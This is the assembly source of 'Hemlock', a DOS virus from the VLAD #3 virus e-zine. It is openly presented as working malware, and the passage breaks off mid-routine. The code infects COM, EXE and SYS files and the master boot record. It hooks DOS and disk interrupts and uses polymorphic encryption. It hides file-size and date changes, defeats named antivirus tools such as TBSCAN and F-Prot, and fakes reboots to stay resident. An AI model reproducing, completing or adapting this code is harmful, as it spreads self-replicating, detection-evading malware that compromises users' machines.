Virus Labs & Distribution
VLAD #3 - Hemlock


;
;                      Hemlock Virus Source by qark
;                      +--------------------------+
;
;  Origin:      Australia, February 1995
;  Targets:     COM/EXE/SYS/MBR/BS
;  Polymorphic: Yes
;  Encrypted:   Yes
;  Stealth:     Full stealth as it redirects reads to infected bootsectors
;               and will return a clean copy if an infected file is read.
;  Armoured:    Attempting to trace int 21h or int 13h by a debugger/tunneler
;               will be disabled or cause a system hang.
;  Tunneling:   No, but checks for fixed ROM BIOS entry points by examining
;               code in segment F000.  If found will set the vectors to these
;               instead of the original vectors.
;  Damage:      None
;  Assembler:   A86 v3.71
;  Other stuff: Disables stealth when the following programs are run PKZIP,
;               LHA, ARJ, CHKDSK, NDD and SCANDISK.  When WIN or TBSCAN are
;               executed, command line options are added to avoid detection.
;               When CTRL-ALT-DEL (warm boot) is pressed, the virus will
;               copy the original interrupt table back and call int 19h
;               which will effectively mimic a warm boot.  If the computer
;               is in protected mode it will call a normal reboot instead.
;               If DOSDATA.SYS (a QEMM driver) is detected a different
;               routine will be used for grabbing int21h when loading from
;               boot.  Because SYS infection is unstable the virus does not
;               go resident, but instead checks to see if the MBR is infected
;               and if clean, infects it.  The polymorphism is simple in that
;               it basically swaps around lines of the decryption, but no
;               simple signature will detect it.
;
;       This is probably the best virus to ever come from Australia.
;
;       Hemlock is the poison that killed Socrates and the way I figure it, 
;       what's good for one greek philosopher is good enough for another.
;

        org     0

        db      9 dup (90h)             ;This is setup for the polymorphism.
enc_loop:
        db      15 dup (90h)            ;18
        mov     si,offset enc_end + 100h
enc_start:
        sub     si,offset enc_end        

        cld                             ;Forward movement.

        mov     ax,0efbeh
        mov     bl,9
        int     13h                     ;Check if we are already home...

        cmp     ax,0BEEFh
        je      resident

        ;AX=01BE because of the error code passed into AH
        ;This will kill f-prot.
        add     word ptr cs:[si+offset jmp_off],ax

        db      0ebh,0                  ;Clear prefetch        

        db      0e9h                    ;JMP xxxx
jmp_off dw      6 - 01beh       ;01BE=The return size from the int13 call.
bogus_end:
        mov     ax,4c00h
        int     21h
        db      20h
real_continue:
        sub     word ptr cs:[si+offset jmp_off],ax

        call    check_mbr               ;Is the MBR infected with our virus ?
        je      mbr_done
        call    setrom15_13
        call    infect_mbr
        call    reset15_13

mbr_done:
        push    ds                      ;Save PSP

        mov     ax,es
        dec     ax                      ;MCB segment.
        xor     di,di                   ;Zero DI
        
        mov     ds,ax

        ;Using [DI] is smaller than [0], saves a byte or two.
        ;Thanx to Memory Lapse for that optimisation.

        cmp     byte ptr [di],'Z'       ;DI=0 Check MCB type.
        jne     pop_resident

        sub     word ptr [di+3],(offset mem_size /16) +1
        sub     word ptr [di+12h],(offset mem_size /16) +1
        mov     ax,word ptr [di+12h]    ;Our segment into AX.
        mov     es,ax

        push    cs
        pop     ds                      ;DS=CS
        mov     cx,offset end_virus     ;Our virus length.
        rep     movsb                   ;Move our virus in memory.

        sub     si,di                   ;SI points to our virus start again.

        push    si

        mov     ds,cx                   ;DS=CX=0
        mov     si,21h*4                ;Set int 21
        mov     di,offset i21
        movsw
        movsw
        mov     word ptr [si-4],offset int21handler
        mov     word ptr [si-2],es

        mov     si,13h*4                ;Set int 13
        mov     di,offset i13
        movsw
        movsw
        mov     word ptr [si-4],offset int13handler
        mov     word ptr [si-2],es

        mov     byte ptr es:flag21,1
        
        pop     si

pop_resident:
        pop     ds              ;Restore PSP
resident:
        push    ds
        pop     es

        cmp     byte ptr cs:[si+offset filetype],'E'
        je      exe_return
        ;COM file return.
        mov     di,100h         ;Offset of COM start.
        push    di              ;Where we return to.
        add     si,offset header
        mov     cx,18h
        rep     movsb           ;Move the original header back.
        ret                     ;IP -> 100h

exe_return:
        mov     ax,ds           ;DS=PSP
        add     ax,10h          ;10H = size of PSP
        add     word ptr cs:[si+jump+2],ax      ;Fix the return JMP FAR
        cli
        mov     sp,word ptr cs:[si+offset header + 10h]
        add     ax,word ptr cs:[si+offset header + 0eh]
        mov     ss,ax           ;SS:SP now fixed
        sti
        xor     ax,ax
        xor     bx,bx
        xor     si,si
        
        db      0ebh,0          ;JMP $+2  Just clear the prefetch.

        db      0eah            ;Return to original EXE.
jump    dd      0      

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;Infected device drivers call this when they execute.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
SysEntry:
        push    bp                      ;<--This turns into our RET later on.

        push    bp                      ;Save BP.

        mov     bp,sp                   ;Get the SP to change the stack.

        push    si                      ;Save our other stuff.
        push    ax

        db      0beh                    ;MOV SI,xxxx
delta_sys       dw      0               ;Our delta offset.

        mov     ax,cs:[si+offset sysreturn]     ;The address of the orig
                                                ;handler.

        mov     word ptr [bp+2],ax      ;'RET' to the original routine.
        mov     word ptr cs:[6],ax      ;Restore the original pointer
                                        ;so that we aren't called again.

        ;Do the stuff you want to here.... push and pop tho
        push    bx
        mov     ax,0efbeh               ;Residency test
        xor     bx,bx
        int     13h
        pop     bx
        
        cmp     ax,0beefh               ;If resident then exit.
        je      sys_res

        call    check_mbr
        je      sys_res
        
        call    setrom15_13
        call    infect_mbr
        call    reset15_13

Sys_Res:
        pop     ax
        pop     si
        pop     bp
        ret             ;It will return to the handler that was supposed to
                        ;be called instead of this one.

SysReturn       dw      0               ;The original strategy routine.

;End of the stub part of the virus...
;<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;Beginning of the resident routines...
Int21Handler    Proc    Near
;;;;;;
;Instead of the good old CMP AH,XX to check for the DOS function, I think
;that I'll bung in a cooleo little jump table... always good to try new
;tricks...
;;;;;;

        call    anti_tunnel                     ;Stop all other tunneling.

        push    si
        push    ax

        mov     si,offset function_table        ;SI=My little jump table.
        cld
Index_function:
        cmp     si,offset end_table             ;End of table...
        je      not_viral
        db      2eh                             ;CS:
        lodsb
        cmp     ah,al                           ;Do the functions match ?
        je      do_jump
        inc     si                              ;I would use lodsw but that
        inc     si                              ;would destroy AH.
        jmp     index_function
do_jump:
        db      2eh                             ;CS:
        lodsw
        jmp     ax

not_viral:
        jmp     pop_end

        ;Below is the virus entry jump table.

function_table  db      11h                     ;Dir ffirst
                dw      offset dir_stealth
                db      12h                     ;Dir ffnext
                dw      offset dir_stealth
                db      3dh                     ;Open
                dw      offset file_open
                db      3fh                     ;File read
                dw      offset file_read
                db      43h                     ;Attribute change
                dw      offset file_infect
                db      4bh                     ;Execute
                dw      offset file_infect
                db      4eh                     ;Handle ffirst
                dw      offset find_stealth
                db      4fh                     ;Handle fnext
                dw      offset find_stealth
                db      56h                     ;Rename
                dw      offset file_infect
                db      57h                     ;Date and time
                dw      offset file_time
                db      6ch                     ;Open
                dw      offset file_open
end_table:

;.................
File_Read:              ;3F arrives here.
        pop     ax
        pop     si
        
        cmp     byte ptr cs:stealth,0
        je      no_read_stealth

        call    check_handle
        jnc     good_handle

no_read_stealth:
        jmp     jend                    ;Outta here...
good_handle:

        push    es
        push    di
        call    get_sft
        jc      toobig
        call    check_years
        jae     stealth_read
toobig:
        pop     di                      ;Uninfected, so dont stealth.
        pop     es
        jmp     jend                    ;The push/pops are equal everywhere..

        file_pointer    dw      0

stealth_read:
        ;We've already reduced the file size within the SFT, (in file_open)
        ;so if they lseek to the end to try and find the virus they won't 
        ;reach it, so all we have to do is make sure if they are reading
        ;near the header that we stealth it.  Not too hard is it ? :)
        ;The header is only the first 18h bytes so we only mess with that.

        cmp     word ptr es:[di+17h],0
        jne     toobig
        cmp     word ptr es:[di+15h],18h
        jae     toobig

        push    word ptr es:[di+15h]    ;Save the current file pointer
        pop     word ptr cs:file_pointer
        
        pop     di
        pop     es


        call    Int21norm                       ;Do their read.
        jnc     ok_read
        jmp     bad_read
ok_read:
        push    ax
        push    bx
        push    cx
        push    dx
        push    si
        push    di
        push    es
        pushf

        mov     ax,word ptr cs:file_pointer

        ;We want to overwrite whats at the current file pointer with
        ;what is supposed to be there.  To do this we must work out
        ;whether it has read past the header, or just inside the header.

        call    get_sft
        jnc     good_read_sft
        jmp     bad_read_sft
good_read_sft:
        add     ax,cx
        jc      large_read              ;Reading near FFFF bytes
        cmp     ax,18h
        jbe     calc_read               ;Read past the header
large_read:
        sub     ax,cx
        mov     cx,18h
        sub     cx,ax
        jmp     short long_read
calc_read:
        sub     ax,cx
long_read:              ;AX=File pointer, CX=bytes to read.

        ;Save the current file pointer.
        push    word ptr es:[di+17h]
        push    word ptr es:[di+15h]

        ;Save the current file length
        push    word ptr es:[di+13h]
        push    word ptr es:[di+11h]

        ;Extend the file length to include the virus

        add     word ptr es:[di+11h],offset end_virus
        adc     word ptr es:[di+13h],0

        push    word ptr es:[di+11h]    ;File size --> File pointer
        pop     word ptr es:[di+15h]
        push    word ptr es:[di+13h]
        pop     word ptr es:[di+17h]

        sub     word ptr es:[di+15h],18h        ;Headersize back
        sbb     word ptr es:[di+17h],0

        add     word ptr es:[di+15h],ax         ;Add on their file pointer
        adc     word ptr es:[di+17h],0

        mov     al,3fh
        call    int21h             ;Will read into their buffer the orig shit

        pop     word ptr es:[di+11h]    ;Restore file length
        pop     word ptr es:[di+13h]

        pop     word ptr es:[di+15h]    ;Restore file pointer
        pop     word ptr es:[di+17h]
bad_read_sft:
        popf
        pop     es
        pop     di
        pop     si
        pop     dx
        pop     cx
        pop     bx
        pop     ax
bad_read:
        
read_exit:
        retf    2
;.................
File_Open:              ;3D and 6C arrive here.
        pop     ax
        pop     si
        call    infect                  ;Infect the file.
        call    Int21norm               ;Do their open   
        jc      exit_open
        pushf
        xchg    bx,ax
        call    check_handle
        xchg    bx,ax
        jc      good_exit_open

        push    es
        push    di
        xchg    bx,ax                   ;File handle into BX
        call    get_sft
        xchg    bx,ax
        jc      pop_open_exit

        call    check_years
        jb      pop_open_exit           ;Is it infected ? Nope, outta here..

        cmp     byte ptr cs:stealth,0
        je      pop_open_exit

;Remove our virus size from the SFT.  This means that if they try to lseek
;to the end of the infected program they will see no size difference, and
;they will only be able to reach the end of the normal file.
;We no longer have to worry about them reading in the virus body from the end
;of the file, we only have to protect the header at the start.

        sub     word ptr es:[di+11h],offset end_virus
        sbb     word ptr es:[di+13h],0

pop_open_exit:
        pop     di
        pop     es
good_exit_open:
        popf
exit_open:
        retf    2
;.................
File_Infect:            ;43, 4B and 56 arrive here.
        pop     ax
        pop     si

        cmp     ax,4b00h                ;File execute ?
        jne     non_execute

        mov     byte ptr cs:stealth,1   ;Turn stealth on.
        call    check_names             ;This may turn stealth off.
        call    infect
        call    int21norm               ;Do the interrupt
        mov     byte ptr cs:stealth,1   ;Turn stealth on.
        retf    2                       ;Exit interrupt.
non_execute:
        call    infect                  ;Infect it.
far_time_exit:
        jmp     jend
;.................
File_Time:              ;57 arrives here.
                                ;Hide the 100 years marker.
        pop     ax
        pop     si

        cmp     byte ptr cs:stealth,0
        je      far_time_exit

        cmp     al,01
        je      far_time_exit

        call    Int21norm       ;Call it
        pushf
        jc      time_ok
        cmp     dh,200
        jb      time_ok

        sub     dh,200          ;Take away the 100 years.
        
time_ok:
        popf
        retf    2
;.................
Dir_Stealth:            ;11 and 12 arrive here.
;No change in size during a DIR listing.
        
        pop     ax
        pop     si

        cmp     byte ptr cs:stealth,0
        je      far_time_exit
        
        call    Int21norm                       ;Call the interrupt
        cmp     al,0                            ;straight off.
        jne     end_of_dir

        push    es
        push    ax                              ;Save em.
        push    bx

        mov     al,2fh                          ;Get DTA address.
        call    int21h

        cmp     byte ptr es:[bx],0ffh           ;Extended FCB ?
        jne     not_extended

        add     bx,7                            ;Add the extra's.
not_extended:
        mov     al,byte ptr es:[bx+1ah]         ;Move high date
        cmp     al,200
        jb      dir_pop                         ;Not ours to play with.

        sub     al,200                          ;Restore to original date.

        mov     byte ptr es:[bx+1ah],al

        ;Subtract the file length.
        sub     word ptr es:[bx+1dh],offset end_virus
        sbb     word ptr es:[bx+1fh],0
dir_pop:
        pop     bx
        pop     ax
        pop     es

end_of_dir:

        iret

stealth_exit:
        jmp     jend            ;Exit.
;.................
Find_Stealth:           ;4E and 4F arrive here.

        pop     ax
        pop     si

        cmp     byte ptr cs:stealth,0
        je      stealth_exit

        call    Int21norm       ;Do the original find call.
        jc      end_search

        pushf
        push    es
        push    bx
        push    si

        mov     al,2fh          ;Get DTA address
        call    int21h

        mov     al,byte ptr es:[bx+19h]
        cmp     al,200          ;Get the file year from the DTA
        jb      search_pop

        sub     al,200          ;Set it back to the normal year.

        mov     byte ptr es:[bx+19h],al ;Now they won't spot us!

        ;Subtract the file length.
        sub     word ptr es:[bx+1ah],offset end_virus
        sbb     word ptr es:[bx+1ch],0

search_pop:
        pop     si
        pop     bx
        pop     es
        popf
end_search:
        retf    2                       ;IRET without POPF
;.................
Far_End:                                ;Gotta use a lame one of these
                                        ;because of the 128 byte jump :(
        jmp     no_extension

;Infect EXE/COM/SYS
Infect:                                 
        push    ax
        push    bx
        push    cx
        push    dx
        push    si
        push    di
        push    ds
        push    es
        push    bp

        xor     bp,bp                   ;Zero BP for anti-heuristics

        cmp     ah,6ch
        jne     no_si_fixup
        mov     dx,si                   ;Function 6C stores the name at
                                        ;DS:SI instead of DS:DX.
no_si_fixup:
        cld
        push    ds
        pop     es
        mov     al,'.'
        mov     di,dx
        mov     cx,128
        repne   scasb                   ;Search for extension.

        jne     far_end

        mov     byte ptr cs:filetype,0  ;Reset the filetype flag

        mov     si,di
        lodsw
        or      ax,2020h                ;Convert to lowercase.
        cmp     ax,'oc'                 ;COM
        jne     chk_exe
        lodsb
        or      al,20h
        cmp     al,'m'
        jne     far_end
        jmp     good_name
chk_exe:                        ;EXE
        cmp     ax,'xe'
        jne     chk_sys
        lodsb
        or      al,20h
        cmp     al,'e'
        jne     far_end
        jmp     good_name
chk_sys:                        ;SYS
        cmp     ax,'ys'
        jne     far_end
        lodsb
        or      al,20h
        cmp     al,'s'
        jne     far_end
        mov     byte ptr cs:filetype,'S'
good_name:
        lea     ax,[bp+3dh]             ;Same as mov ax,3d but anti-heuristic
        call    int21h
        jc      far_end
        xchg    bx,ax                   ;This is smaller than XCHG AX,BX
                                        ;BX=File handle.

        call    set_int24

        call    get_sft
        jc      sys_close_exit
        call    check_years             ;Is it already infected ?
        ja      sys_close_exit
        
        mov     word ptr es:[di+2],2    ;Change file to read/write.

        push    cs
        pop     es                      ;ES=CS
        lea     ax,[bp+3fh]             ;Same as MOV AX,3F
        push    cs
        pop     ds                      ;DS=CS
        mov     cx,1ch                  ;Read in the full EXE header.
        mov     dx,offset header
        call    int21h

        mov     si,offset header
        lodsw                           ;AX=First two bytes of header.

;I DO NOT want to infect SYS files that have an EXE header because
;that means I will infect shit like QEMM and DOSDATA, which will fuck
;everything up...

        cmp     byte ptr cs:filetype,'S'
        je      sys_infect

        add     al,ah
        cmp     al,167                  ;Test for ZM/MZ
        jne     com_infect
        jmp     exe_infect

;++++++++++++++++++++++
SYS_Infect:
;Check first dword for -1 (-1 = 0ffffffffh)
;SYS files mostly start with ffffffffh so its a good marker to check.

        inc     ax              ;AX=0 if SYS file
        jnz     sys_close_exit
        lodsw
        inc     ax
        jnz     sys_close_exit
        lodsw                   ;Same as INC SI, INC SI but one byte

        ;SI=Offset of 6 into the header.
        ;DS:SI=The SYS files strategy routine.
        lodsw                   ;Strategy routine offset into AX
        mov     word ptr sysreturn,ax
        call    lseek_end
        cmp     ax,60000
        je      sys_close_exit
        cmp     ax,1024
        jb      sys_close_exit

        call    get_date

        ;File length is in AX.
        mov     word ptr delta_sys,ax
        push    ax
        mov     al,40h                  ;Write virus at end.
        mov     cx,offset end_virus
        xor     dx,dx
        call    int21h
        pop     ax
        jc      sys_close_exit

        add     ax,offset sysentry
        mov     word ptr header+6,ax    ;Point the strategy routine at our
        
        ;lseek to start.

        call    lseek_start

        mov     al,40h                  ;Write our cooler header back.
        mov     dx,offset header
        mov     cx,18h
        call    int21h
        jc      sys_close_exit

        call    set_marker              ;Set the 100 year marker.
sys_close_exit:
        jmp     exe_close               ;Outta here !

;+++++++++++++++++++++++
COM_Infect:                             ;This routine works with COM files.

        mov     byte ptr filetype,'C'
        call    lseek_end
        or      dx,dx                   ;Waaaay too big!
        jnz     com_close_exit
        cmp     ax,62300                ;Too big...
        ja      com_close_exit
        cmp     ax,1024                 ;Teensy weensy
        jb      com_close_exit

        call    get_date

        push    ax                      ;Save file size in AX

        add     ax,100h                 ;COM's start at 100h
        mov     delta,ax                ;Fixup the delta offset.

        call    setup_poly

        mov     al,40h                  ;Append virus.
        mov     dx,offset end_virus
        mov     cx,offset end_virus
        call    int21h
        pop     ax                      ;Restore file size.
        jc      com_close_exit          ;Failed write...

        sub     ax,3                    ;JMP takes 3 bytes.
        mov     word ptr virus_jump+1,ax        ;Our jump buffer is ready !

        call    lseek_start

        mov     al,40h                  ;Write our jump.
        mov     dx,offset virus_jump
        mov     cx,3
        call    int21h
        jc      com_close_exit          ;Failed write...

        call    set_marker              ;Set the 100 years marker.
com_close_exit:
        jmp     exe_close
;+++++++++++++++++++++++
EXE_Infect:
        mov     byte ptr filetype,'E'

        dec     si
        dec     si                      ;SI = Offset header

        cmp     word ptr [si+1ah],0     ;Overlays are evil!
        jne     com_close_exit
        cmp     word ptr [si+18h],40h   ;So is windows shit!
        jae     com_close_exit

        call    get_date

        push    [si+2]                  ;Save pages
        push    [si+4]                  ;Save last page size
        push    [si+0ch]                ;Save maximum memory
        push    [si+0eh]                ;Save SS
        push    [si+10h]                ;Save SP
        push    [si+14h]                ;Save IP
        push    [si+16h]                ;Save CS

        mov     ax,word ptr [si+0ch]    ;Get Maxmem
        inc     ax                      ;If FFFF then don't change.
        jz      set_to_max

        ;We are doing this because when TBSCAN is run it checks it's segment
        ;size in memory.  If it is infected it will detect the virus because
        ;the memory allocated to it is more than it asked for.  So downsize
        ;maxmem by the virus paras and wow! passed sanity check!  Did you
        ;know that TBSCAN doesn't use it's 'OWN' file system to check
        ;itself ?  Nope, it uses DOS so you can stealth is easy enough.

        ;Note: I did not invent this idea!  A person who wishes to remain
        ;anonymous told it to me.

        sub     word ptr [si+0ch],offset end_virus / 16 +1

set_to_max:

        push    si
        add     si,14h
        mov     di,offset jump
        movsw
        movsw                           ;CS:IP into JUMP
        pop     si

        call    lseek_end
                                        ;DX:AX=File length
        push    dx                      ;Save file length.
        push    ax

        mov     cx,16                   ;Divide filesize by 16.
        div     cx                      ;Remainder = IP
                                        ;Answer = CS

        sub     ax,word ptr [si+8]      ;Subtract headersize.
        mov     word ptr delta,dx

        mov     word ptr [si+14h],dx    ;IP into header
        mov     word ptr [si+16h],ax    ;CS into header

        add     dx,offset end_virus + 1000      ;SP past end of file.

        mov     word ptr [si+0eh],ax    ;SS=CS
        mov     word ptr [si+10h],dx    ;SP past end of our virus.

        pop     ax
        pop     dx                      ;File length into DX:AX

        add     ax,offset end_virus
        adc     dx,0
        
        mov     cx,512
        div     cx
        or      dx,dx
        jz      no_page_fix             ;Page ends on 512 boundary.
        inc     ax                      ;Add the last page.
no_page_fix:
        mov     word ptr [si+4],ax
        mov     word ptr [si+2],dx

        call    lseek_start

        mov     dx,si                   ;DX=Offset header
        mov     cx,18h
        mov     al,40h                  ;Write header back.
        call    int21h
        
        pop     [si+16h]                ;Restore all the header stuff
        pop     [si+14h]                ;that I changed.
        pop     [si+10h]
        pop     [si+0eh]
        pop     [si+0ch]
        pop     [si+4]
        pop     [si+2]

        jc      exe_close

        call    lseek_end

        call    setup_poly

        mov     al,40h
        mov     dx,offset end_virus
        mov     cx,offset end_virus
        call    int21h
        jc      exe_close

        call    set_marker
exe_close:
        mov     al,3eh
        call    int21h

        call    reset_int24
no_extension:
        pop     bp
        pop     es
        pop     ds
        pop     di
        pop     si
        pop     dx
        pop     cx
        pop     bx
        pop     ax
        ret
;.................       End of infection procedure...

pop_end:
        pop     ax
        pop     si

jend:
        db      0eah
        i21     dd      0

Int21Handler    EndP

Int21h:
        xchg    ah,al                   ;<-- swap AH and AL for heuristics.
Int21norm:
        pushf
        push    cs
        call    jend
        ret

;<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
Bootsector:
        ;This is what we write to the MBR/BS
        xor     ax,ax
        mov     es,ax
        mov     si,7c00h
        cli                             ;Ints off while changing
                                        ;stack.
        mov     ss,ax
        mov     sp,si
        sti
        mov     ds,ax

                                        ;CS,DS,ES,SS,AX=0    SI,SP=7C00H

        sub     word ptr [413h],8       ;3.5k for virus + 3.5k buffer
                                        ;+1K for IVT
                                        ;40:13 = memory.
        int     12h

        mov     cl,6
        shl     ax,cl
        mov     es,ax                   ;ES=Our virus segment.

        xor     ax,ax
        int     13h                     ;Reset Disk

        xor     dh,dh                   ;Head 0
        mov     cx,4                    ;From sector 4, track 0
        or      dl,dl
        js      hd_resident             ;>= 80h
        
        ;Self modifying code because the floppy disk storage track/head
        ;changes all the time.

        db      0b9h                    ;MOV CX,xxxx
        floppy_sect     dw      4
        db      0b6h                    ;MOV DH,xxxx
        floppy_head     db      0

hd_resident:
        xor     bx,bx                   ;Read to start of segment
        mov     ax,207h                 ;Read 7 sectors
        int     13h                     ;This ought to read the virus into
                                        ;our allocated buffer.
        jc      hd_resident


        mov     byte ptr es:flag21,0            ;Reset the int21 flag
        mov     byte ptr es:mz_counter,1        ;Reset exe counter
        mov     byte ptr es:qemm,0              ;Reset qemm flag

        mov     si,13h*4
        cld
        mov     di,offset i13
        movsw
        movsw
        mov     word ptr [si-4],offset int13handler
        mov     word ptr [si-2],es

        mov     si,9*4                          ;Set int9 to ours.
        mov     di,offset i9
        movsw
        movsw
        mov     word ptr [si-4],offset int9handler
        mov     word ptr [si-2],es

        xor     si,si                           ;Copy interrupt table.
        mov     di,offset IVT
        mov     cx,1024
        rep     movsb

        mov     si,449h
        movsb

        int     19h
                
        Marker  db      'Eu'                    ;Just a crap marker
BS_End:

;<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;;;
rend:
        retf    2
;;;
multi:
        jmp     multipartite
;;;
stealth_bs:
        mov     cx,3
        mov     ax,102h

        or      dl,dl
        js      stealth_mbr             ;DL>=80H then goto stealthmbr

        mov     cx,14
        mov     dh,1
stealth_mbr:
        call    int13h
        jmp     bs_pop_end
;;;
Int13Handler:

        call    anti_tunnel        

        xchg    ah,al
        
        cmp     al,2
        jne     multi

        cmp     cx,1
        jne     multi

        or      dh,dh
        jnz     multi

        call    int13h
        jc      rend

        pushf                           ;Save everything we mess with.
        push    ax
        push    bx
        push    cx
        push    dx
        push    si
        push    di
        push    ds
        push    es

        cmp     word ptr es:[bx+offset marker - offset bootsector],'uE'
        je      stealth_bs

        mov     cx,3                    ;Orig HD MBR at sector 3.

        or      dl,dl                   ;Harddisk ?
        js      write_orig              ;80H or above ?

        ;Calculate shit like track/head for floppy******
        push    dx

        push    cs
        pop     ds
        
        mov     ax,es:[bx+18h]          ;Sectors per track.
        sub     es:[bx+13h],ax          ;Subtract a track.
        mov     ax,es:[bx+13h]          ;AX=total sectors.
        mov     cx,es:[bx+18h]          ;CX=sectors per track
        xor     dx,dx
        div     cx                      ;Total sectors/sectors per track

        xor     dx,dx
        mov     cx,word ptr es:[bx+1ah] ;CX=heads
        div     cx                      ;Total tracks/heads

        push    ax
        xchg    ah,al                   ;AX=Track
        mov     cl,6
        shl     al,cl                   ;Top 2 bits of track.
        or      al,1                    ;We'll use the first sector onward.
        mov     word ptr floppy_sect,ax

        pop     ax
        mov     cx,word ptr es:[bx+1ah] ;CX=heads
        xor     dx,dx
        div     cx                      ;Track/Total Heads

        mov     byte ptr floppy_head,dl ;Remainder=Head number

        mov     cx,14                   ;Floppy root directory.
        pop     dx
        mov     dh,1

write_orig:
        mov     ax,103h
        call    int13h
        jc      bs_pop_end

        push    es
        pop     ds

        mov     si,bx
        push    cs
        pop     es                      ;ES=CS
        mov     cx,510                  ;Move original sector to our buffer.
        cld
        mov     di,offset end_virus
        rep     movsb
        
        mov     ax,0aa55h               ;End of sector marker.
        stosw

        mov     si,offset bootsector    ;Move our virus BS into the buffer.
        push    cs
        pop     ds                      ;DS=ES=CS
        mov     di,offset end_virus
        mov     cx,offset bs_end - offset bootsector
        rep     movsb

        xor     ax,ax                   ;Reset disk controller
        call    int13h
        
        mov     ax,103h
        xor     dh,dh
        inc     cx                      ;CX=0 from 'rep movsb'  So CX=1
        mov     bx,offset end_virus
        call    int13h

        mov     cx,4
        or      dl,dl
        js      hd_virus_write

        mov     cx,word ptr floppy_sect
        mov     dh,byte ptr floppy_head

hd_virus_write:
        xor     bx,bx
        mov     ax,703h
        call    int13h

bs_pop_end:
        pop     es
        pop     ds
        pop     di
        pop     si
        pop     dx
        pop     cx
        pop     bx
        pop     ax
        popf
        jmp     rend

bs_exit:
        cmp     ax,0beefh
        jne     no_test
        iret
no_test:
        xchg    ah,al
        db      0eah
        i13     dd      0
;....................................
Multipartite:
        cmp     byte ptr cs:flag21,1            ;Have we already set int21 ?
        jne     check21
        jmp     short bs_exit
check21:
        push    ax
        push    cx
        push    si
        push    di
        push    es
        push    ds

        cmp     byte ptr cs:qemm,1              ;Have we detected QEMM ?
        je      qemm_multip

        ;This code looks for DOSDATA and if found waits for the 10th EXE 
        ;header instead of the first.

        mov     di,bx
        mov     al,'D'
        cld
        mov     cx,512
scan_dosdata:
        repne   scasb
        je      found_d
        jmp     short chk_exe_header
found_d:
        push    cs
        pop     ds
        mov     si,offset dosdata
        push    di                      ;Save buffer pointer
        push    cx                      ;Save buffer counter
        mov     cx,6
        repe    cmpsb
        pop     cx
        pop     di
        jne     scan_dosdata

        mov     byte ptr qemm,1
        mov     byte ptr mz_counter,10

qemm_multip:

        ;Multipartite condition #1 - Grab Int21 on any write

        cld
        cmp     al,3
        je      set_dos_vector
        
        ;Multipartite condition #2 - Grab Int21 on a residency test

        or      bx,bx           ;SYS res tests shouldn't be used.
        jz      chk_autoexec
        cmp     ax,0beefh
        je      set_dos_vector

        ;Multipartite condition #3 - Grab Int21 on reading AUTOEXEC.BAT
chk_autoexec:
        mov     si,bx
        push    es
        pop     ds

        lodsb
        cmp     al,'@'
        jne     chk_exe_header
        lodsw
        and     ax,0dfdfh
        cmp     ax,'CE'
        jne     chk_exe_header
        jmp     short set_dos_vector
        
        ;Multipartite condition #4 - Grab Int21 on read of third EXE

chk_exe_header:
        push    es
        pop     ds
        mov     si,bx
        lodsw
        cmp     ax,'MZ'
        je      found_mz
        cmp     ax,'ZM'
        jne     not_right
found_mz:
        dec     byte ptr cs:mz_counter
        jz      set_dos_vector
        jmp     short not_right
        
set_dos_vector:
        push    cs
        pop     es
        xor     ax,ax
        mov     ds,ax
        mov     si,21h*4
        mov     di,offset i21
        movsw
        movsw
        mov     word ptr [si-4],offset int21handler
        mov     word ptr [si-2],es
        mov     byte ptr cs:flag21,1
not_right:
        pop     ds
        pop     es
        pop     di
        pop     si
        pop     cx
        pop     ax
        cmp     ax,0beefh
        jne     not_res_test
        iret                            ;Pass back the residency marker.
not_res_test:
        jmp     bs_exit
;....................................
Int13h  Proc    Near
; AH & AL are swapped on entry to this call.

        pushf                   ;Setup our interrupt
        push    cs              ;Our segment
        call    bs_exit         ;This will also fix our AX
        xchg    ah,al           ;Fix our AX :)
        ret

Int13h  EndP
;....................................
Int9Handler:
;Checks for CTRL-ALT-DEL and does a fake reboot if so.

        push    ax
        push    ds
        push    cx
        
        in      al,60h                  ;Read the key from the keyboard port
        cmp     al,53h                  ;Is the key DEL ?
        jne     normal_i9

        xor     ax,ax
        mov     ds,ax
        mov     al,[417h]               ;Keyboard flag byte 0
        and     al,0ch                  ;Only leave CTRL and ALT
        cmp     al,0ch                  ;Are they both depressed ?
        jne     normal_i9

        ;Now test for an XT
        mov     al,2
        mov     cl,33
        shr     al,cl           ;286+ ignore any bits above bit 5
        test    al,1            ;286+ will only SHR AL,1 while XT will
                                ;clear AL.
        jz      reboot          ;We have an 8088 (XT) so reboot.
        smsw    ax              ;Machine Status Word into AX
        test    al,1            ;If bit 1 is on then it is protected mode
        jnz     normal_i9       ;Protected mode... no fake reboot.
reboot:
        in      al,61h                  ;Keyboard controller.
        push    ax
        or      al,80h                  ;Signal we got it.
        out     61h,al
        pop     ax
        out     61h,al
        
        mov     al,20h                  ;Signal EOI
        out     20h,al

        xor     ax,ax
        mov     al,byte ptr cs:mode     ;Reset original video mode.
        int     10h

        push    ds
        pop     es                      ;ES=0
        push    cs
        pop     ds                      ;DS=CS
        mov     cx,1024
        mov     si,offset IVT
        xor     di,di
        cld
        
        cli
        rep     movsb                   ;Copy the IVT back.
        sti
        push    cs
        pop     ds

        mov     byte ptr flag21,0               ;Reset the int21 flag
        mov     byte ptr mz_counter,1           ;Reset exe counter
        mov     byte ptr qemm,0                 ;Reset qemm flag

        xor     dx,dx
        int     19h

normal_i9:
        pop     cx
        pop     ds
        pop     ax

        db      0eah
        i9      dd      0
;....................................
Int15h  Proc    Near
        db      0eah
        i15     dd      0
Int15h  EndP
;....................................
Int24h  Proc    Near                    ;No write protect errors.
        mov     al,3
        iret
        i24     dd      0
Int24h  EndP
;....................................
;<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;               Subroutines and Shit
;<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;....................................
Get_Date:
;Saves the date/time of the file to TIME and DATE
;BX=File handle
        push    ax
        push    cx
        push    dx
        mov     ax,57h
        call    int21h
